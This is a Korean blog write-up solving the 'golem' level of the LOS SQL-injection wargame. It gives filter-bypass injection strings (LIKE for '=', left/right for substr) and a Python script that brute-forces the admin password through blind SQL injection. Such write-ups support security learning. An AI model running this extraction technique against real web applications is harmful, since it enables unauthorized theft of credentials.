write-up(web)/los

[LOS] golem

chanchand 2023. 1. 22. 02:24
반응형

문제


https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php 

 

https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php

 

los.rubiya.kr

 

 

 

문제풀이


blind injection을 통해 id가 admin인 pw의 길이와 문자열을 알아낼 수 있다.

= 문자는 like로 우회할 수 있고, substr은 left/right로 우회 가능하다.

 

- pw 길이

select id from prob_golem where id='guest' and pw=''||length(pw) like 8%26%26id like 'admin'

 

- pw 문자열

select id from prob_golem where id='guest' and pw=''||ascii(right(left(pw,1),1)) like 55%26%26id like 'admin'

 

 

- 파이썬 코드

import requests

cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"

# flag_len
flag_len=0
for i in range(50):
  query="?pw='||length(pw) like {}%26%26id like 'admin".format(i)
  res=requests.get(url+query, cookies=cookie)
  if (res.text.find("<h2>Hello admin</h2>")!=-1):
    flag_len=i
    break

print("flag_len:{}".format(flag_len))

# flag
flag=""

for i in range(1,flag_len+1):
  for j in range(33,128):
    query="?pw='||ascii(right(left(pw,{}),1)) like {}%26%26id like 'admin".format(i,j)
    res=requests.get(url+query, cookies=cookie)
    if (res.text.find("<h2>Hello admin</h2>")!=-1):
      flag+=chr(j)
      print(flag)
      break

print("flag:{}".format(flag))

 

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] bugbear  (0) 2023.01.22
[LOS] darkknight  (0) 2023.01.22
[LOS] skeleton  (0) 2023.01.22
[LOS] vampire  (0) 2023.01.22
[LOS] troll  (0) 2023.01.22